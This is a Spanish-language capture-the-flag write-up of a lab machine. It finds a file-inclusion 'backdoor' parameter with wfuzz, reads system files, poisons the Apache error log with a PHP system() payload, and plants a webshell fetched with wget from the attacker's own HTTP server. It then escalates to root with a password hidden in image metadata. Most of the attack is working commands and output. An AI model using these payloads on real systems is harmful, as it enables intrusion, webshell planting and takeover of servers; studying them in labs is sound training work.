Encontramos un directorio /uploads interesante pero sin ningún archivo en su interior.
Vamos a acceder a /problems.php a ver que encontramos. En principio parece lo mismo que index.html, no encontramos nada relevante. Vamos a probar si tiene algún parámetro vulnerable en la URL:
wfuzz --hw=961 -w /usr/share/seclists/Discovery/Web-Content/big.txt -u "http://172.17.0.2/problems.php?FUZZ=/etc/passwd"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://172.17.0.2/problems.php?FUZZ=/etc/passwd
Total requests: 20478
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003022: 200 25 L 32 W 1245 Ch "backdoor"
La flag --hw en Wfuzz sirve para filtrar respuestas HTTP basadas en el tamaño de las palabras en el cuerpo de la respuesta (word count, o número de palabras en el contenido). Esto es útil para descartar resultados irrelevantes y enfocarnos en las respuestas de interés al realizar pruebas de enumeración o fuzzing.
Encontramos que tiene un parámetro vulnerable "backdoor" con el que podríamos leer archivos del sistema, como /etc/passwd:
Encontramos 2 usuarios con shell interesantes:
Ubuntu
Carlos
Vamos a comprobar que archivos podemos leer del sistema, igual alguno contiene credenciales o información relevante:
wfuzz--hw=0-w/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt-u"http://172.17.0.2/problems.php?backdoor=FUZZ"********************************************************* Wfuzz 3.1.0 - The Web Fuzzer *********************************************************Target:http://172.17.0.2/problems.php?backdoor=FUZZTotalrequests:929=====================================================================IDResponseLinesWordCharsPayload=====================================================================000000020:20025L32W1245Ch"..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"000000023:20025L32W1245Ch"..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd"000000016:20025L32W1245Ch"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"000000129:2004L36W270Ch"/etc/apt/sources.list"000000121:200225L1107W7178Ch"/etc/apache2/apache2.conf"000000138:20047L47W663Ch"/etc/group"000000135:2001L6W37Ch"/etc/fstab"000000209:20017L111W711Ch"/etc/hosts.deny"000000208:20010L57W411Ch"/etc/hosts.allow"000000205:2007L16W174Ch"/etc/hosts"000000206:2007L16W174Ch"../../../../../../../../../../../../etc/hosts"000000236:200353L1042W8139Ch"/etc/init.d/apache2"000000260:20025L32W1245Ch"../../../../../../../../../../../../../../../../../../../../etc/passwd"000000275:20025L32W1245Ch"../../../../../etc/passwd"000000274:20025L32W1245Ch"../../../../../../etc/passwd"000000276:20025L32W1245Ch"../../../../etc/passwd"000000273:20025L32W1245Ch"../../../../../../../etc/passwd"000000277:20025L32W1245Ch"../../../etc/passwd"000000257:20025L32W1245Ch"/etc/passwd"000000254:20025L32W1245Ch"/../../../../../../../../../../etc/passwd"000000250:20020L65W526Ch"/etc/nsswitch.conf"000000237:2002L5W24Ch"/etc/issue"000000311:20025L32W1245Ch"../../../../../../etc/passwd&=%3C%3C%3C%3C"000000422:200122L387W3255Ch"/etc/ssh/sshd_config"000000400:20041L120W911Ch"/etc/rpc"000000399:2009L38W242Ch"/etc/resolv.conf"000000502:2002L15W156Ch"/proc/net/arp"000000510:2001L21W191Ch"/proc/version"000000507:2000L1W27Ch"/proc/self/cmdline"000000509:20059L142W1449Ch"/proc/self/status"000000506:2007L24W176Ch"/proc/partitions"000000501:20022L132W1830Ch"/proc/mounts"000000505:20018L266W2700Ch"/proc/net/tcp"000000503:2004L54W449Ch"/proc/net/dev"000000504:2003L33W384Ch"/proc/net/route"000000500:20055L161W1531Ch"/proc/meminfo"000000497:200448L3456W21426Ch"/proc/cpuinfo"000000499:2001L5W25Ch"/proc/loadavg"000000498:20067L1364W14640Ch"/proc/interrupts"000000929:20025L32W1245Ch"///////../../../etc/passwd"000000654:200243876447859936123188"../../../../../../../var/log/apache2/error.log"000000652:200243880447870136124146"/var/log/apache2/error.log"
También podríamos filtrar por archivos de log con grep:
Encontramos un archivo de logs interesante en /var/log/apache2/error.log
Log poisoning
Ahora que tenemos el access.log a disposición , vamos a tratar de envenenarlo. El envenamiento de este log ocurre cuando introducimos un error y este se registra en /var/log/apache2/error.log, y aprovechamos este comportamiento para inyectar codigo malicioso en el registro.
Ahora vamos a solicitar un archivo que no existe para que veamos el comportamiento:
curlhttp://172.17.0.2/prueba.php
Enviamos la solicitud (con curl) y refrescamos la web en error.log, lo que tuvo que registrar la solicitud que hicimos. Vemos que al final del todo del archivo error.log se registra correctamente el prueba.php que no existe. Nos vamos aprovechar de esto para envenenar el registro con código malicioso php.
error.log
<------SNIP------>
[Wed Jan 15 08:42:34.011936 2025] [php:error] [pid 562] [client 172.17.0.1:57996] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 95914440 bytes) in /var/log/apache2/access.log on line 7
[Wed Jan 15 08:42:50.486459 2025] [php:error] [pid 168] [client 172.17.0.1:58480] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 95914440 bytes) in /var/log/apache2/access.log on line 7
[Wed Jan 15 08:42:55.062927 2025] [php:warn] [pid 195] [client 172.17.0.1:58482] PHP Warning: include(/opt/xampp/logs/error.log): Failed to open stream: No such file or directory in /var/www/html/problems.php on line 5
[Wed Jan 15 08:42:55.062996 2025] [php:warn] [pid 195] [client 172.17.0.1:58482] PHP Warning: include(): Failed opening '/opt/xampp/logs/error.log' for inclusion (include_path='.:/usr/share/php') in /var/www/html/problems.php on line 5
[Wed Jan 15 08:43:25.637601 2025] [php:warn] [pid 200] [client 172.17.0.1:36032] PHP Warning: include(/opt/xampp/logs/error.log): Failed to open stream: No such file or directory in /var/www/html/problems.php on line 5
[Wed Jan 15 08:43:25.637662 2025] [php:warn] [pid 200] [client 172.17.0.1:36032] PHP Warning: include(): Failed opening '/opt/xampp/logs/error.log' for inclusion (include_path='.:/usr/share/php') in /var/www/html/problems.php on line 5
[Wed Jan 15 08:47:27.367153 2025] [php:error] [pid 199] [client 172.17.0.1:33082] script '/var/www/html/prueba.php' not found or unable to stat
Podemos usar por ejemplo el siguiente payload:
curlhttp://172.17.0.2/<?phpsystem('id') ?>.php
Debemos urlencodear <?php system('id') ?>.php para que pueda ser interpretado por el navegador, Lo podemos hacer con Burp Decoder:
Al enviar el curl vemos que se ejecuta el comando id en el archivo de error.log, con lo que podemos probar a cargar un script php que nos envíe una reverse shell.
error.log
<------SNIP------>
[Wed Jan 15 08:42:55.062927 2025] [php:warn] [pid 195] [client 172.17.0.1:58482] PHP Warning: include(/opt/xampp/logs/error.log): Failed to open stream: No such file or directory in /var/www/html/problems.php on line 5
[Wed Jan 15 08:42:55.062996 2025] [php:warn] [pid 195] [client 172.17.0.1:58482] PHP Warning: include(): Failed opening '/opt/xampp/logs/error.log' for inclusion (include_path='.:/usr/share/php') in /var/www/html/problems.php on line 5
[Wed Jan 15 08:43:25.637601 2025] [php:warn] [pid 200] [client 172.17.0.1:36032] PHP Warning: include(/opt/xampp/logs/error.log): Failed to open stream: No such file or directory in /var/www/html/problems.php on line 5
[Wed Jan 15 08:43:25.637662 2025] [php:warn] [pid 200] [client 172.17.0.1:36032] PHP Warning: include(): Failed opening '/opt/xampp/logs/error.log' for inclusion (include_path='.:/usr/share/php') in /var/www/html/problems.php on line 5
[Wed Jan 15 08:47:27.367153 2025] [php:error] [pid 199] [client 172.17.0.1:33082] script '/var/www/html/prueba.php' not found or unable to stat
[Wed Jan 15 08:56:47.567679 2025] [php:error] [pid 168] [client 172.17.0.1:43634] script '/var/www/html/uid=33(www-data) gid=33(www-data) groups=33(www-data)
Subida de webshell
Tenemos ejecucion de comandos a traves del envenamiento de error.log asi que ahora vamos a cargar un script php que nos envie una reverse shell. Vamos a tratar de subir un webshell, en mi caso voy a usar PownyShell
Vamos a renombrar nuestro shell.php a index.html y vamos a levantar un servidor local con python por el puerto 80.
cpshell.phpindex.htmlpython3-mhttp.server80
Ahora vamos a crear un payload para descargar en el servidor web dentro de /uploads el index.html que tenemos levantado con python, una vez descargado le cambiamos el nombre a shell.php, el payload final quedaría así:
cduploads# Accedemos a uploadswget172.17.0.1# Descargamos el index.html que levantamos con pythonmvindex.htmlshell.php# Renombramos a index.html como script.php
Y lo enviamos al servidor con el siguiente comando:
afsh4ck@kali$ curl "http://172.17.0.2/%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%64%20%75%70%6c%6f%61%64%73%3b%77%67%65%74%20%31%39%32%2e%31%36%38%2e%31%35%30%2e%31%33%31%3b%6d%76%20%69%6e%64%65%78%2e%68%74%6d%6c%20%73%68%65%6c%6c%2e%70%68%70%27%29%20%3f%3e%2e%70%68%70"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Ubuntu) Server at 172.17.0.2 Port 80</address>
</body></html>
Ahora al recargar error.log aparece el log, y si vamos al directorio /uploads vemos que se ha cargado correctamente la webshell:
Al acceder entremos a la webshell y podemos ejecutar comandos:
Escalada de privilegios
No podemos acceder a los directorios home de los usuarios carlos y ubuntu, por lo que haremos un poco de research. En el directorio /var/www/html encontramos un archivo interesante:
find/-typef-perm-o+r2>/dev/null|grep.txt/var/www/html/antiguo_y_fuerte.txt/usr/sbin/httxt2dbm/usr/share/terminfo/t/ts100-ctxt/usr/share/terminfo/a/aaa-30-ctxt/usr/share/terminfo/a/aaa-s-ctxt/usr/share/terminfo/a/aaa-s-rv-ctxt/usr/share/terminfo/a/aaa-30-rv-ctxt/usr/share/terminfo/g/guru-nctxt/usr/share/viejuno/inhackeable_pass.txt# Posible archivo de credenciales /usr/share/mime/text/x-txt2tags.xml/usr/share/mime/text/x-todo-txt.xml/usr/share/perl/5.38.2/Unicode/Collate/keys.txt/usr/share/perl/5.38.2/Unicode/Collate/allkeys.txt
Desde la webshell no nos deja cambiar al usuario carlos para probar esta contraseña, por lo que vamos a loguearnos por SSH como el usuario carlos:
afsh4ck@kali$ ssh carlos@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:JjCuDHTk717D4/V1Fz7F53s4McfRTmFI9VHabipcJEo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
carlos@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.11.2-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
carlos@aea87c927a66:~$ id
uid=1001(carlos) gid=1001(carlos) groups=1001(carlos),100(users)
Si hacemos un ls para ver los archivos nos encontramos con multitud de carpetas::
Podemos usar el siguiente comando para buscar archivos comunes:
carlos@aea87c927a66:~$ find /home/carlos/ -type f
/home/carlos/.bashrc
/home/carlos/.bash_logout
/home/carlos/.profile
/home/carlos/.cache/motd.legal-displayed
/home/carlos/carpeta55/.toor.jpg
carlos@aea87c927a66:~/carpeta55$ pwd
/home/carlos/carpeta55
carlos@aea87c927a66:~/carpeta55$ ls
carlos@aea87c927a66:~/carpeta55$ ls -la
total 624
drwxr-xr-x 2 root root 4096 Jun 29 2024 .
drwxr-x--- 1 carlos carlos 4096 Jan 15 10:14 ..
-rw-r--r-- 1 root root 627985 Jun 29 2024 .toor.jpg
Vamos a enviarnos la imagen a nuestro kali para examinarla:
# En el serverpython3-mhttp.server8000# En kalicurl-Ohttp://172.17.0.2:8000/.toor.jpgmv.toor.jpgtoor.jpg
Vamos a analizar la imagen con exiftool:
afsh4ck@kali$ exiftool toor.jpg
ExifTool Version Number : 13.00
File Name : toor.jpg
Directory : .
File Size : 628 kB
File Modification Date/Time : 2025:01:15 00:23:44+00:00
File Access Date/Time : 2025:01:15 00:23:44+00:00
File Inode Change Date/Time : 2025:01:15 00:25:52+00:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Quality : pingui1730
Image Width : 2048
Image Height : 2048
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 2048x2048
Megapixels : 4.2
En Image Quality encontramos una posible contraseña: pingui1730
La probamos con el usuario root y funciona!
carlos@aea87c927a66:~/carpeta55$ su root
Password:
root@aea87c927a66:/home/carlos/carpeta55# id
uid=0(root) gid=0(root) groups=0(root)
root@aea87c927a66:~# whoami
root